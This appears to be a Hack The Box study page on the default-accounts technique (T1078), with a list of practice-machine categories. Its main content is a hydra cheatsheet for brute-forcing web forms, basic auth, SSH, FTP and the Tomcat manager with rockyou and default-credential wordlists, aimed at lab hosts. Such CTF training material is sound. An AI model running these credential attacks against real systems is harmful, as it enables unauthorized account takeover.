Default Accounts
Sub-technique of T1078 Valid Accounts
Logging in with the product's factory credentials (admin/admin, tomcat/s3cret...).
How it shows up on Hack The Box
Before hunting for a vulnerability, google the default credentials of the panel in front of you. Tomcat, Jenkins, routers and freshly installed CMSs are the classics.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Vhost and subdomain fuzzing
- Default credentials
- Insecure deserialization
- Command injection
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- Weak or homemade cryptography
- Backups and archives
- Saved credentials / DPAPI
- AppLocker and Constrained Language Mode
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Web enumeration › Common findings
HTTP form with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt box.htb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=incorrect'The text after F= is something that only appears when the login fails.
Basic auth
hydra -L users.txt -P passwords.txt box.htb http-get /admin
SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.20 -t 4Hydra › More protocols
Default credentials (user:password in one file)
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.10.11.20
Tomcat manager
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.11.20:8080/manager/html
Users and passwords from lists
hydra -L usuarios.txt -P claves.txt ssh://10.10.11.20 -t 4 -f-f stops at the first valid pair.
No command matches.